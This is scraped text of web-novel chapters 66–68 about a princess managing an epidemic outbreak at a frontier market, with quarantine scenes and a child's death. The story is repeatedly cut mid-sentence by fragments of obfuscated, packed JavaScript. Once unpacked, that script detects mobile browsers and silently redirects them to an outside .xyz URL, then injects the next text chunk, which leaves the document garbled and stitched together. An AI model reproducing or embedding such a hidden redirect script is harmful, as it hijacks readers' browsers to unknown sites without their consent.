l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296245|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面积是一致的,所以如今北夷商区还有空余的摊位,他们今日便可入驻,无需再等待其他部族撤市。 封眠在前头与飞狐部商谈时,傅辞偃就一直翘着腿坐在后面,嘴角含笑地看着她的背影。 顾春温一个转身,便将他的神情收入眼底,心下古怪的感觉愈演愈烈。 傅辞偃劝着封眠在驿站休息了两日,封眠没来互市,以闹要看互市为理由闹着留下来的傅辞偃也不来。封眠一来互市,他也屁颠屁颠的跟着过来了。 现下还嘴角含笑地看着封眠的背影,怎么瞧怎么不单纯。 顾春温向后挪了两步,站到傅辞偃面前,挡住他的目光。 身后傅辞偃还不安生,抬脚撩了撩他的袍子,“喂,顾大人,让一让,挡着我了。” 顾春温本想给傅辞偃一些体面,不戳破他,但现下当真有些忍不住了,侧过身瞧他,冷声提醒道:“傅公子,郡主殿下已然嫁与了世子,你行事言辞还请收敛些。” “嗯?”傅辞偃挑眉,故意做出困惑的模样,“你的意思是,像你一样吗?” 顾春温浑身一僵,血液轰然涌上头顶,又在瞬间褪得干干净净,徒留一张煞白的脸。 他盯着那双含笑的、洞悉一切的眼睛,自喉间挤出几个字:“你在胡说什么?” 啧,到底是年轻,被人说破心思就绷不住了。 傅辞偃心下好笑,故意道:“不用我再说得更明白了吧?这种事情说穿了,可就藏不住了。” 他压低了声音,语气里也含着笑意,仿佛在故意戏弄顾春温,说道:“成婚了又怎么样?郡主可以养面首啊。” “我这样的身份,做郡主的面首自然是没有任何挂碍的,我可以不要脸。可是你呀,堂堂状元郎敢舍下这个脸面吗?” 顾春温又被戳中了隐秘的心思,他怎么没想过呢?最初盛京送别时,他当真以为再无机会见面了,已决定放下这份有缘无分的单相思。可后来到了北疆,再见到郡主,仍能体会到从未拥有过的被吸引的感觉。 他冷眼瞧着陆鸣竹犯傻,什么心思都写在了脸上,见到郡主就像小狗狂摇尾巴,自己却也下意识地为了见郡主一面,为了与郡主同乘,耍起一些幼稚的小手段。 他冷眼看着世子殿下渐渐对郡主上心,想着如此也好,看他们夫妻恩爱,就此死心。可却忍不住想,若世子殿下的心意不能长久,他就……就怎么样呢?他不敢想。 看出郡主对世子似乎还并未动情,他又难免微妙地高兴起来,就好像这样自己也有了机会一般。 他想吗?他敢吗?他做得到吗? 顾春温攥紧了袖口,指节因用力而泛出青白色,听见自己急促又混乱的心跳,在空寂的胸腔里擂鼓般震荡。 傅辞偃唇角勾起冷诮一笑,语调凉薄如刃,“同我说这些,有什么用?” 他语速放缓,字字清晰,“有本事,去找百里浔舟呀。” 他想了想,还是没有加上那个傻小子陆鸣竹的名字,小倒霉蛋不值一提。 聪明人顾春温都被他被气晕了头呢。 66. 第 66 章 一个人心中的翻江倒海,是搅不动旁人周身风浪的。 任顾春温如何被阴云笼罩,天地仍是晴朗,飞狐部的人欢欢喜喜地通过了检验,入了互市,另一行人也深一脚浅一脚地往近前走着。 他们衣着褴褛,满面风尘,并非异域长相,拖家带口的模样也并不像是大雍的商人,看情状,倒更像是流民。 封眠正要谴一名侍卫上前去瞧瞧,就见瓜果摊前的村长丢下了摊子,欢天喜地地迎了上去,雄浑地吼了一嗓子:“老于!” 咦,他们认识? 眼见村长与行在最前头的一名老者执手相看泪眼,封眠想起此前他曾说过,黑石沟其他村子的一些人往南方去了,心下了然,这些人应当便是他口中往南方行去的那些百姓。 被村长唤作老于的人将他上上下下打量了个遍,见他身体康健,面色红润,穿着整洁,便知他近些时日过得不错,又瞧见互市的繁华,眼中流露出歆羡,“还是你有福气啊老彭,遇见了开互市这么大的好事!” 说他有福气,彭村长自是承认的,若没点福气,怎么能碰见郡主呢?现下还不知在哪个山沟沟里啃树皮。 他心中这般想着,见老友枯瘦的模样,哪忍心与他对比,只能嘴上安抚道:“你们赶在互市建成,正是最热闹的时候回来,这福气与我们差不离嘛,活儿都让我们干完了,你们只管享受就是了!” “走,我带你去见郡主殿下。对了,你不是南下去了吗,怎么这么快就回来了?” 彭村长将人领到封眠面前,于姓村长颤巍巍见了个礼,听见这句问话,愤怒得褶子都在抖,“我们是想南下,但也得官老爷们肯放行才是!” “他们瞧见我孙儿病了,说什么也不许进城,还将我们往回赶!我们真是走投无路了,回程时觉得这次要没命活了,有几个体弱的撑不住,想轻生。幸而听见人说黑石沟开了互市,不同以往了,这才拼了股劲儿,硬是走了回来!” “病了?”封眠目光一紧,向于村长身后看去,一行五六十人都瘦得皮包骨,头发蓬乱,显然一路上受了不少的苦,正巴巴地瞧着她,似乎生怕也被她拒之门外。 封眠于心不忍,但还是问道:“您孙子在何处?可痊愈了?” 于村长略一犹豫,面上露出懊恼之色,暗暗怪自己多嘴。他身后的人群也躁动起来,齐齐将一名妇人藏在身后。显然南下时被拒之门外的记忆,让他们有些应激,生怕千辛万苦回到了家门口,依然进不了家门。 封眠没再多说什么,转而吩咐雾柳:“让人取些水和容易克化的汤羹来。” “诸位先到一旁歇息片刻,用些饭食吧。”封眠眼风扫向风甲,风甲立时带着侍卫将于村长一行人往一旁领,并用人墙将他们与互市入口处的人流隔离开来。 于村长千恩万谢地领着村民们跟了过去,很快便领到了热腾腾的米粥,浓稠的米粒颗颗分明,最清淡的米香扑鼻而来,久违的干净的食物的味道令人鼻酸。 他们顾不得许多,捧着碗便狼吞虎咽起来。 封眠静静待他们腹中有了热乎的食物,才开口道:“我并非是想拦着大家回家,只是担心有疫病的风险,所以想请侍医为生病的孩子和诸位都瞧上一瞧。尤其是年幼的孩童,发起烧来,可不能放着不管,便不是疫病,也容易烧出其他毛病来。” 于村长尚在犹疑,一名怀抱着一个两三岁孩童的妇人蹭地站了起来,急切道:“我家孩子肯定不是疫病!郡主殿下,您瞧,这孩子坚强,一路上反复起热又退烧,硬是自己扛过来了,我听说那一直好不了的才是患了疫病,我们孩子明明好得很。” 封眠上前两步,正要抬手试一试孩童额头的温度,旁侧插过来一只手挡开她的手,轻轻碰了下孩童的额头。 傅辞偃拧眉:“烫的,发着烧呢。” “很快便退了!”虽然刚刚才吃了热粥,对着封眠有些放下心来,但妇人仍是怕封眠他们不让她和孩子回家,抱紧孩子往后躲了两步,“前日还好好的,只是这两日赶路吹了风才又烧起来的,很快便能退了!” 于村长附和着点头:“对对,孩子就是着凉了,没什么大事,郡主您放心。” 封眠与傅辞偃对视一眼,眼底皆有担忧。 重新挂上温和的笑意,封眠劝道:“我知道,孩子肯定会没事的。但是为了大家的安全起见,还请诸位先暂且在黑石沟外沿住上两日,我每日都会派侍医去为你们一一诊断,待确认无事,诸位便可回家了,可好?” “我们……”妇人看起来不大乐意,还想说什么。 彭村长赶紧接话:“那会儿我们跟郡主回云中郡也是这般,先在城外住上几日,请医官给我们检查完,养好病,才能进城。” 他强调:“那疫病可不是闹着玩的!” 于村长遂把妇人往身后一拦,笑道:“好好,那我们听郡主的,先不回去。” “吃食被褥皆会为你们准备好,什么都不必担忧,你们只需好好休息即可。” 众人喏喏应了,跟着侍卫一起往更远处走。 走远时,封眠还听那妇人在问,“我们的身子,自己还不清楚病没病吗?这都已到了家门口了,还拦着不让回家……” “郡主说话你应着就是了,说这么多没用的干什么!”于村长低声训斥。 封眠只能在心底暗暗许愿,千万别有疫病,那才是皆大欢喜。 “顾兄,你怎么魂不守舍的?”陆鸣竹与种子商人签订好了契约,欢欢喜喜地抱着文书回来时,路过顾春温,不小心撞到他的肩头,发现他瞧着于村长等人消失的方向出神,还以为他是在担心,“这种事郡主处理起来有经验,你我只管放心就是了!” 顾春温瞧他没什么心事的模样,忽然觉得自己想得有些太多了,被傅辞偃几句话牵着鼻子走。世上的路并非只有一条,人生又极其短暂,想得太多徒增心头负累,且过一日算一日的欢愉。 现下每日相见,已是极好。 他弯唇拍拍陆鸣竹的肩,“放心,我自是放心的。” 侍医去给于村长一行把脉回来,说大人们都没什么事,有几个孩子略有些低烧,于村长的孙儿状态暂且平稳,开了几服药让他们先吃着看看情况。 傍晚,封眠不放心,又派侍医去了一趟,没过多会,侍医就背着药箱被侍卫们送了回来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297939|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他急得满头大汗,“他们,他们人不见了呀!” “不见了?”封眠疑心自己听错了,为防万一,她还派了四名侍卫以照顾的名义在旁看守,这样也能将人看丢? 那四名侍卫羞愧请罪,“请郡主恕罪,我等不知怎的昏睡了过去,没看住……” “不怪他们,许是他们饭食里被放了安眠的草药。”侍医忙替侍卫们解释,他们哪能想得到在自己的地盘上,保护自家百姓的安危,还能被百姓下药呢? 侍医想起白日里去把脉时,那些个村民围着他东打听西打听,问什么时候能回家,各个都保证自己没病,想让他高抬贵手,便猜测道:“我看他们八成是偷偷回家里头去了。” “这也太不将孩子的安危放在心上了吧!”流萤听得来气,忍不住插话道,“还烧着呢怎么就偷偷跑了?郡主遣人给他们瞧病,又不是要害他们,也没说就不许他们回家,急在这一时吗?” “也不知南下的路上,被如何吓着了,是真怕我不让他们回家。”封眠无奈。 侍医摇头叹气:“我看也不止是因为这个,那位于村长是个讳疾忌医的,一开始问我能不能不给他孙儿吃药,觉得是药三分毒,小孩子年纪小身子骨弱,受不住,用些土方就能治好了。你说这……” 听见“是药三分毒”这个说法,封眠和流萤、雾柳没忍住瞧向了傅辞偃。 傅辞偃:“……我是说没事不要乱喝药,又没说生病了也不许喝药。别把我和那帮愚民相提并论。” 他又不是嫌自己活得太长了,救命的药便是能将他毒哑也是要吃的。 “你们去找彭村长问一问,于村长他们是哪个村子的……”封眠想了想,道,“多带些人去,请彭村长领着你们跑一趟。他们不愿意在外头住,回家就回家吧,但不许他们任何人出村子,直到侍医看过没问题了才行。” “是!” 后日天色晴好,碧空如洗。 身着轻甲的百里浔舟骑在马上,接过哨探递来的情报,“阿尔纳部最近小动作不断,竟是在找人……可知是什么人?” “只打听到是个大雍人,喜穿靛蓝色直裰,面上有一道自右上横贯左下的伤疤。” “衣裳而已,再喜欢还能一直穿吗?换起来可太容易了。脸上的疤也未必就是真的。想办法弄到那人的画像,再打听清楚阿尔纳部为何要找他。” “是!”哨探匆匆退下,与急吼吼跑过来的王府小厮擦肩而过。 “世子!世子不好了,世子妃……”他脚下一滑,摔了个大马趴。 急得百里浔舟立时翻身下马,将人薅起来问,“你慢慢说,世子妃怎么了不好了?” 小厮努力地平复呼吸,被百里浔舟近在咫尺地盯着,紧张得脑子里有什么便一股脑地倒了出来,“我今日如往常一样去给郡主送乳酪酥山,隔着四五百米远便被人拦下了,那侍卫说……” 他打了个磕巴,百里浔舟拧紧眉心,手背攥得青筋暴起,呼吸都快停了,“说什么?!” “说黑石沟于家村爆发了疫病!” 仿佛一道惊雷劈在身上,强烈的酸麻感瞬间蔓延至心脏,停跳了一拍。 67. 第 67 章 “这次就先送这么多过去,将还缺的药材先记下,再去别的地方买。” “吃食要备齐了,要想身体健康,入口的东西很重要,决不能缺了!” “面巾赶制出来多少便先送去多少。对了,让大家也歇一歇,别伤了眼睛。” 王府上下忙成了一锅粥,来往的人一步也不敢耽搁,都快跑出了残影。 打从听说了黑石沟疫病的消息起,王妃就急得坐不住,安排了这个,又觉得自己忘了那个,将自己忙得晕头转向,脑袋里有跟筋一直突突地跳。 柳寄雪记录下还需要补货的药材后,扭头便瞧见王妃闭目揉着太阳穴,脑后步摇乱颤,有些站不稳的模样,忙上前扶着她坐下,“东西都备得差不多了,您快坐下来歇一歇,莫将自己累病了,再让郡主为您忧心。” “对对,你说得是,阿满那里事情已经很多了,我可不能再让她担心了。”王妃点点头,抚着胸口让自己冷静下来,又想起一事,向院门的方向看去,“阿琢呢?他可回来了?” “母亲!”百里浔舟自院外阔步闯了进来,身后披风翻飞,猎猎作响,他额上浮着薄汗,微湿的碎发黏在额角,显然是一路疾驰,还未到近前便急急问道,“东西可都备齐了?” “齐了,齐了没有?”王妃应了一半,有些心慌地看向柳寄雪。她生怕自己漏下一两样东西,就给黑石沟造成什么更严重的后果。 做王妃这么多年,她还从未如此失态过。 柳寄雪握了握王妃的手,笃定道:“齐了。回春堂有三位坐馆大夫,六名学徒,另有四家医馆送来了八名坐馆大夫,十二名学徒,算上我在内共有十二名大夫去黑石沟,暂且够用了。” “好,吩咐下去,即刻启程。” 柳寄雪点了点头,带着其他人去准备。 百里浔舟上前两步,倾身揽了揽母亲的肩头,放软了声音安抚她,也是在安抚自己,“母亲且安心在家等候,我去瞧一瞧她,定会没事的。” 初听消息时,百里浔舟觉得心脏仿佛被一只无形的手死死攥住,眼前的景物都扭曲模糊了起来。他强迫自己冷静下来,想着没听到封眠染病的消息,她就还是安全的,当下最重要的是要确保她能一直安全下去。 他知道单独接她出来自是不可能的,她也不会同意,唯一的办法便是尽快解决疫病。 可惜他不是大夫,不通医理,此刻唯一能做的也只有尽快地给她运去更多的物资,让她什么都不缺,有足够的物资保护好自己。 百里浔舟心急如焚,恨不能生出双翅飞到封眠身边,甚至想若□□麟驹真能化作通灵麒麟,踏云破风而去便好了。 他一骑绝尘,将运送物资的车队远远甩在数百米之后,远远望见疾羽营士卒拦路设下的关卡才勒马慢下速度,还未行到近前,便已迫不及待翻身下马。 两名守卫还没来得及向他行礼,便先被他一连串问话打断,“里面情况如何?郡主呢?她是否安然无恙?” 他脚下像踩着云,虚飘飘的充满了不安感,站在此处,纷杂的思绪便不可抑制地冒了出来,她刚来北疆时就爱生病,身子骨本来就弱,听说于家村的人是南下后折返,听说了互市的事情才找了过去,定然与她有过接触,会不会…… 日头并不算晒,却让他一瞬间产生一种被暴晒日久的晕眩之感。 “回禀世子。”一名守卫连忙禀报,“我们半个时辰前刚换过防,目前事态还算可控,感染的病人暂且都安置在于家村,曾与于家村众人有过接触者,也按接触深浅分别隔离。郡主若是一切无恙,稍后应该会亲自带人来取物资。” 百里浔舟心下猛地一沉,恍惚听见自己骤然干哑的嗓音,“她接触过……” 守卫赶忙解释:“只是近距离说过几句话,并未有肢体触碰,侍医说应无大碍。只要今日不曾发热,便算是平安了。” 等待的每一刻都如同在火上煎熬。当远处隐约传来马车声响,他倏然抬头望去,前方道路依然是空荡荡的。 不过是后方运送物资的车队追赶了上来。 情急失态,他都忘记分辨声音传来的方向。 百里浔舟怔怔立于原地,仿佛连心跳也滞住了。 就在此时,道路尽头出现一个小小的影子,逐渐清晰、扩大,正是一辆马车疾驰而来! 他屏住呼吸,眼睁睁看着那车在十几米外停稳。先跳下来的是个陌生的侍女,百里浔舟的心脏猛地坠了下去,接着就见她转身向马车内伸手。一只熟悉而白皙的手搭在了她的手上。 封眠弯腰走了出来。 百里浔舟心头紧绷的弦登时松了下来,脚下踩着的土地此时方才有了实感。 封眠身穿素净的布衣,面上蒙着纱巾,只露出一双清澈的眼。隔着那么远的距离,她也瞧得见百里浔舟面上的焦急,若不是有守卫拦着,看他的架势,真的很像下一刻就要冲到她面前了。 她含笑温声道:“别担心。” 幸好她一早就派人看住了于家村众人,发现情况不对时,便将人就地隔离。更为庆幸的是,于家村众人并未进入互市区域。疫症初显之时,互市也已接近了尾声,没有将千里迢迢赶来的两地商贾们牵连进来,否则后果不堪设想。 百里浔舟这才察觉到自己的指尖还在不受控制地微微颤动。他缓缓呼出一口气,强压下翻涌的心绪,不想将自己的忧虑传染给她,只低声道:“好,我最放心你了,你一定会照顾好自己的,对吗?” 他微蹙着眉眼瞧她时,眼底是柔软的、易碎的希望,希望她平安无事。 封眠不知怎么的,心下忽地一酸。 听见疫病消息时她没乱,毕竟从遇见顾村长等人,她就一直在暗暗担忧,如今不过是悬在头顶的剑终于掉了下来。独自一人在屋内隔离时她没乱,隔着门板吩咐众人燃草药熏屋子、煎汤药预防,忍着满屋子最讨厌的药味,一丝委屈也没有。 可看见百里浔舟这样心焦地瞧着她,她忽然便有些脆弱了,只能借着点头的动作,飞快地眨眨眼,眨去眼底一点微弱的水汽。 百里浔舟:“能走近一些吗?这里很空旷,我们隔着几米远,不会有事的。” 封眠犹豫了片刻,她将手探进袖中,摸出一卷画纸,向前走了几步,将画纸展开,举给百里浔舟看。 “于家村沿途的录像我画在上面了,你记一下下,定要派人寻迹排查一番。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303034|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >疫病源头尚未明确,也不知这一路上有没有其他病人,沿途皆需燃苍术、艾草以驱秽气。 一阵清风卷过封眠的发烧,百里浔舟嗅到空气中微苦的药味。 他想到她很讨厌药味,这几日定然过得很难受。 百里浔舟的目光越过画纸看向封眠,面纱遮住了她的下半张脸,但朦胧可见,她气色尚可,显然并没有为了让他宽心而故意诓他。 他盯着封眠看了两息,才将目光落回到画纸上,扫了一眼后便道:“好,我记住了。” “这么快?”封眠惊讶。 百里浔舟扬了扬眉,难得带上一点笑意:“质疑一个带兵多年的少将军背图的能力?” “不敢不敢。”封眠笑着将画纸卷起来,瞧一眼他身后停候多时的马车,“有劳你跑这一趟。” 百里浔舟:“这是应当的。若还缺什么,便与我说。” 见他们话音暂歇,柳寄雪才下车上前,无奈道:“可以放行了吧?” “阿雪!”封眠欢喜地冲柳寄雪伸出了手。 守卫撤开了路障,百里浔舟眼睁睁看着柳寄雪走过去,牵住了封眠的手,竟还转身给他递了个挑衅的眼神。 似是在嘲笑他被拦在了外头。 百里浔舟:…… 载着物资的马车一辆辆从他眼前驶过,他只能从缝隙中瞧着封眠与柳寄雪拉着手亲昵地说话。 有些不爽。 为了尽可能少地让人进入疫区,马车都是由医馆的学徒驾着驶入,磨蹭了好一会。 待最后一辆马车驶了进去,封眠才重又看向百里浔舟,声音柔软地与他道别,“我该走啦,你与父亲、母亲务必珍重,也要照顾好云中郡的百姓们。” “好。” 百里浔舟点头,一直目送着封眠的马车消失在来时的路平面上,才上马离开。 驿站里头,傅辞偃正因为摸了于家村那个发烧孩童的额头,被单独隔离在后院里头,喝着按药方调配的防疫汤药。 留在驿站的流萤和雾柳在外头负责给后院里头隔离的几位发药,流萤悄悄和雾柳说小话:“现在怕是傅公子也说不出‘没病别喝药’这样的话了。” 隔着薄薄的门板,这一点细微的笑语尽数被傅辞偃听去了,他重重将药碗搁到桌上,佯装生气:“今时与往日能一样吗!哼,你们两个还有心思在外头说我的闲话,看来郡主御下当真是太过松懈了。” 流萤吐了吐舌头,赶紧牵着雾柳跑开了。进了前厅的门,便瞧见封眠和柳寄雪挽着手进了门,喜笑颜开地迎了上去,“郡主,柳姑娘!” 看她们俩这么高兴,便知今日驿站里隔离的大家也都平安,封眠安了心,与柳寄雪和其他大夫们在堂内坐下,将如今黑水沟的情况一一说明。 于村长的外孙是第一个烧得退不下去,开始出现胡言乱语的孩子,侍医第一时间就去了于家村,暂且就住在村外设的营帐里。 柳寄雪一行人若要近距离给病人们看病,也只能暂且住在附近。 众人都没什么异议,只略作修整便出发了。又根据病患的症状,重新调配了防疫汤药。 人手够,物资足,一切显然正在向好发展。 68. 第 68 章 深更夜阑,浓酽夜色笼罩着黑石沟,于家村内外却是灯烛煌煌,仿若星子落人间。 跃动的烛火将柳寄雪的和几名大夫的身影映在营帐之上,众人围案而坐,面前摊着纸笔,皆神色肃穆,正熬夜斟酌着药方的增减。 柳寄雪沉吟片刻,开口道:“村头何阿婶的病症发得急,今日用药起了红疹,似是风疹。我想明日在她药中加上一钱射干,一钱枳实,既不破原方药性,又可清热祛疹、理气抗敏。” 一旁蓄着雪白长须的徐大夫不住地点头,“此法甚妥,老夫认为可行。” “于小莲的症状更为棘手一些。”另一名戴着叆叇,短髭整齐的陈大夫向柳寄雪请教道,“柳大夫,您看是加些麻黄好,还是桂枝更宜?她高热不退,需发汗解表。” 回春堂的刘大夫见状,略带骄傲地直了直腰,调侃道:“陈大夫白日里不是还说女子心性柔弱,悟性有限,从医绝非正道,又年资浅显,岂可统领你我,这会怎么倒谦恭起来了?” 陈大夫涨红了一张白净的面皮,赧然拱手:“是我狭隘了,柳大夫医术精湛,陈某心服口服,柳大夫,在此为先前无知之言赔罪,还望柳大夫海涵。” “无妨,医者同心,皆是为救病人。”柳寄雪浅笑莞尔,感激地看一眼愿为她抱不平的刘大夫,说话时温和如春风,两句话消弭彼此之间的不愉,“我年纪轻,资历浅,陈大夫心存疑虑也是常情。” 她转而凝神道,“我记得于小莲的脉象较为虚浮,正气已伤,恐受不住麻黄、桂枝这等峻烈发汗之药。不知改用荆芥、防风配以太子参如何?此组药性平和,既可疏风透邪,又能扶助正气。” “荆芥、防风配太子参……”陈大夫呢喃思索着,忽地眼前一亮,“荆芥、防风温而不燥,发汗而不峻,太子参益气生津,温和滋补,正合于小莲虚人外感之症。便用这个方子!” “别碰他!” 外头忽然传来一阵撕心裂肺的哭嚎之声,众人神色一变,慌忙撩开帘帐跑了出去。 于家村的外沿早已设下重重木障,限制出入。村内同样以栅栏自左到右隔出三个区域,最左侧是已确认染病的疫病重症区,中间是轻症区,最右侧是观察区,若在观察的时间内未曾发热,便可以离开于家村,送去封眠所在的驿站附近。 火把的光灼灼笼罩在重症区栅栏前的几道身影之上,全副武装的三名守卫手足无措地站在一名跪坐在地的妇人面前。 妇人怀里紧紧地抱着个两三岁的孩童,哑声哭嚎着:“你们不许碰他!他还活着,半个时辰前还嚷着难受,我才喂过药,怎么可能就死了?你们休想骗我!” 她声嘶力竭,状若疯魔地挥舞着手将三名守卫赶得退了半步,忙又温柔地垂首去哄怀里的孩子,“乖乖,迎儿乖乖,别怕,阿娘保护你呢,阿娘不会让他们把你抢走的,等天亮了,大夫就会来看你了,就没事了,乖啊。” 动作间,她怀中的孩子露出半张面色青白的小脸,双目紧闭着,已然失去了声息。 三名守卫未被面巾遮挡住的眉眼中皆露出不忍的神色,彼此望望,谁也没狠下心来再次上前。 杂沓的脚步声在最右侧的观察区响起,又一名全副武装的守卫领着一行人举着火把挤到栅栏旁,隔着中间的轻症区遥望。 守卫看向身侧的于村长和他的儿子于大树,道:“两位快劝一劝吧,孩子的尸体不好在病区久放。” “婉娘,别这么固执!”于村长颤巍巍扶上身前的栏杆,深呼吸一口气,厉声喝到,“迎儿已经走了,你就让他安心地去吧!” 于大树哽咽着,举着火把的手颤颤作抖,“是啊婉娘,你别,你别伤了自己的身子!将迎儿……将迎儿交给他们吧!” 佝偻着的妇人身影听见这声音顿了顿,猛然抬头,双目射出仇恨的光,隔着十几米的距离也能望见其中跳动的火光。 “是你,你不让迎儿吃药,才害他高烧不退,染了疫病,都是你的错!”她咬牙的声音含着切齿的恨意,仿佛欲啖其肉,饮其血,“如今你还要来咒我儿死了,你安的什么心!” 凶猛的恨意惊得于村长踉跄退了两步。 “让我进去。” 守在于家村门口的守卫正伸长了脖子往内看,忽听见身后响起一道轻柔女声,回身便瞧见柳寄雪已穿戴好进入重症疫区需穿好的围罩和面巾,忙向一侧推开,拉开木障,“柳大夫。” 柳寄雪一路无阻地行到名叫婉娘的妇人面前,蹲下身,问道:“让我瞧瞧孩子。” 正轻声哼着歌哄孩子的婉娘顿住,抬头瞧见柳寄雪,眼中迸发出希望的光芒,托着孩子的手臂递了过去,“柳大夫,您可算来了,快瞧瞧迎儿,他们非要说迎儿死了,你快帮他瞧瞧!” 细瘦的手臂触之冰凉,无需搭脉也知这不是活人应有的温度。但柳寄雪还是细细地搭了搭脉,一字一句道:“无明显脉搏跳动,身体亦无生命体征。据体温和僵硬程度推断,约半个时辰前便已生机断绝。如何如何,已经死了,半个时辰前就已经没有生机了。” 婉娘垂首抱着孩子没有说话,半晌,一滴泪滴到孩子紧闭的双目之上。婉娘手忙脚乱地替他擦去滴落的泪,颤抖的指尖捋过他的额发,落下的泪珠却断了线似的越来越多。 她仓惶地抬起脸,火把森然,照亮她泪流满面的绝望面容。 孩子是在婉娘的怀中停止的呼吸,她一点一点感知到他的体温逐渐变得冰凉,怎么会不知道孩子已经死了呢? 她只是不愿意相信,不愿意相信刚才还乖乖吃了药的孩子,怎么眼睛一闭上就再也没有睁开过。 但现在大夫把过了脉,亲口告诉她这个事实,再没有了可以侥幸欺骗自己的理由,她终于崩溃地落泪。 柳寄雪自袖间取出手帕,替婉娘擦拭湿漉漉的颊侧,轻声劝道:“松手吧,迎儿要换个地方睡了。” 婉娘哑声问:“他会被带去哪儿?” “在西边的山脚下新辟出一座义庄,郡主出资请人打了棺材,会好好将迎儿收殓下葬。” 婉娘微微出神,呢喃着:“西边的山啊,我知道,迎儿以前最喜欢去那边玩了。” 她嘴角极细微的颤动了一下,牵动出一抹又放心又悲伤的笑,“迎儿会喜欢那里的。” 她松开双手,两名守卫忙上前将迎儿的尸身抱起来,放到用来搬运伤员的舆架上,向外抬去。 婉娘的目光一直追随着舆架远去,柳寄雪净手消毒过后,转而为她搭了搭脉,“你脉象平稳,身体还不错,可以单独隔离三日。若没事的话,便可以去观察区再观察一段时日……” “我不走。”婉娘淡淡道。 最初她为了不与迎儿分开,担心他无人照顾,明明没有染病,硬是跟了进来。许是老天怜佑,她一直没有病倒,有足够的体力来照顾孩子。 只是可惜,孩子还是没能活下来。 可重症区还有许多人在受苦,她夜里守着孩子不敢闭眼时,听见其他病人痛苦地呻吟声音,看见冒着风险留下来守夜的医馆学徒们累得倚在屋外头的墙根就睡着了。 “我要留下来照顾他们。” 她为孩子担忧时,这里的许多人都劝慰过她,有几位婶娘更是关心她的身体受不住,许诺会帮她照顾好孩子,让她别拿自己的安危来冒险。 既然她在这里头待了那么些时日都还好端端的,她便不想就这么离开。她也不想再回到薄情的丈夫与公公身边。 “柳大夫,您快出去吧,别在这里头待太久了。大家都还等着您瞧病呢,您可不能出事。” 婉娘说着,起身盈盈一拜,一个眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308106|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神也未给向远处的丈夫和公公,转过身,头也不回地往重症区的屋舍走去。 背影没入渐渐亮起的一片天光之中。 初升的旭日之下,数道马蹄踏碎草叶间悬垂的露珠,远处放羊的孩子听见动静抬首,高兴地甩起牧羊的鞭子往回跑,边跑边喊:“圣女回来了!圣女回来啦!” 马蹄在羊群前急停,溅起碎尘和草叶。 弥荼回首,天光洒落在她身周,明媚热烈。 “这便是苍狼部了。”她望向驱马行至近前的褚景淇,扬声道。 褚景淇神色疲惫,眼底青黑,想不通同样是奔波了好几日,绕了很远的路,将其余部族护送回到他们自己的领地上,弥荼怎么还能这般有精神。 他强打起精神来,“到了就好,那我也该回去了。” “不准备留下做客吗?”弥荼邀请道,“黑石沟那边现在正危险呢吧?你可以在苍狼部多留几日。” 听见弥荼留他做客,褚景淇的眼中倏地便有了光,但还是摇了摇头。 “就是因为危险,才更要回去嘛。我这个做兄长的,总不好将小表妹丢在里面,只管自己逍遥快活。” 弥荼有些意外,又觉得这才像是他会做的事。她挥了挥手,两名侍卫拎着几个大包袱出现,将其交到大雍侍卫们的手中。 “这些是北夷特有的草药,有苍狼部的,也有其他部族送来的。你带回去给郡主,就说我们承她的情,望疫病能早日过去。” 疫病初发时,封眠第一时间便派人送他们离开,甚至提出要褚景淇将一路护送至家门口,以示几大部族与大雍关系良好,威慑阿尔纳部不敢私下对其动手,他们自然也要投桃报李。 “多谢你们。”他咧开嘴一笑,不舍地看着弥荼,“那我走啦,以后我再来,希望你们还和今日一样欢迎我。” 褚景淇挥了挥手,勒马调头,领着侍卫们策马离去。 赫尔林:“我还以为他是个贪生怕死之辈,一定会想法子留下呢。” “大雍有句话,叫人不可貌相。”弥荼静静望着褚景淇的身影远去,“走吧,回家了。” 几日未好好歇息,褚景淇又一路不停歇地往黑石沟赶去,却在白水县外就远远地就被新增的路障拦住了。 “怎么回事?路障怎么都设到这里来了?” 守卫满脸疲惫紧张之色,拱手道:“疫病扩散,半个白水县都沦陷了,请小侯爷绕路吧。” “那我小表妹呢?郡主呢?她出来没有?!” 守卫摇头,褚景淇脸色难看,心沉到谷底。 驿站内,一只素手执起银簪,轻轻拨了拨兽炉中的香灰,炉中旋即有袅袅青烟冉冉升起,如丝如缕,散入空中。 床榻上,封眠缓缓睁开双眼,睫羽微颤。久未安眠,午间小憩醒来,仍觉得头脑昏沉。 